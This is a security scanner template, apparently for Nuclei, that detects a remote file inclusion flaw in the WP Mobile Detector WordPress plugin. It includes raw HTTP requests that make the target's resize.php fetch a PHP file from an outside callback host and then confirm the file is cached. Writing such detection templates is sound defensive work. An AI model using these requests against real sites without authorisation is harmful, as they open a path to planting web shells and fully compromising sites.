Add CVE-2016-15043 detection template

http/cves/2016/CVE-2016-15043.yaml

@@ -0,0 +1,59 @@
+id: CVE-2016-15043
+
+info:
+  name: WordPress WP Mobile Detector <=3.5 - Remote File Inclusion to RCE
+  author: KrE80r
+  severity: critical
+  description: |
+    WordPress WP Mobile Detector plugin version 3.5 and earlier contains a remote file inclusion vulnerability in resize.php. The src parameter is passed directly to file_get_contents() without validation, allowing unauthenticated attackers to make the server fetch arbitrary remote URLs and cache the content in the plugin's cache directory. This enables arbitrary file upload and remote code execution when PHP files are fetched and cached.
+  impact: |
+    Unauthenticated attackers can achieve remote code execution by having the server fetch and cache a malicious PHP file from an attacker-controlled URL, resulting in complete site compromise.
+  remediation: |
+    Update WP Mobile Detector plugin to version 3.6 or later where file extension whitelisting was implemented.
+  reference:
+    - https://blog.sucuri.net/2016/06/wp-mobile-detector-vulnerability-being-exploited-in-the-wild.html
+    - https://wpscan.com/vulnerability/e4739674-eed4-417e-8c4d-2f5351b057cf
+    - https://aadityapurani.com/2016/06/03/mobile-detector-poc/
+    - https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-15043
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2016-15043
+    cwe-id: CWE-434
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: developer
+    product: wp-mobile-detector
+    framework: wordpress
+    publicwww-query: "/wp-content/plugins/wp-mobile-detector/"
+  tags: cve,cve2016,wordpress,wp-plugin,wp-mobile-detector,rfi,fileupload,rce,oast
+
+variables:
+  filename: "{{rand_base(6)}}.php"
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET /wp-content/plugins/wp-mobile-detector/resize.php?src=http://{{interactsh-url}}/{{filename}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+        internal: true
+
+  - raw:
+      - |
+        GET /wp-content/plugins/wp-mobile-detector/cache/{{filename}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: status
+        status:
+          - 200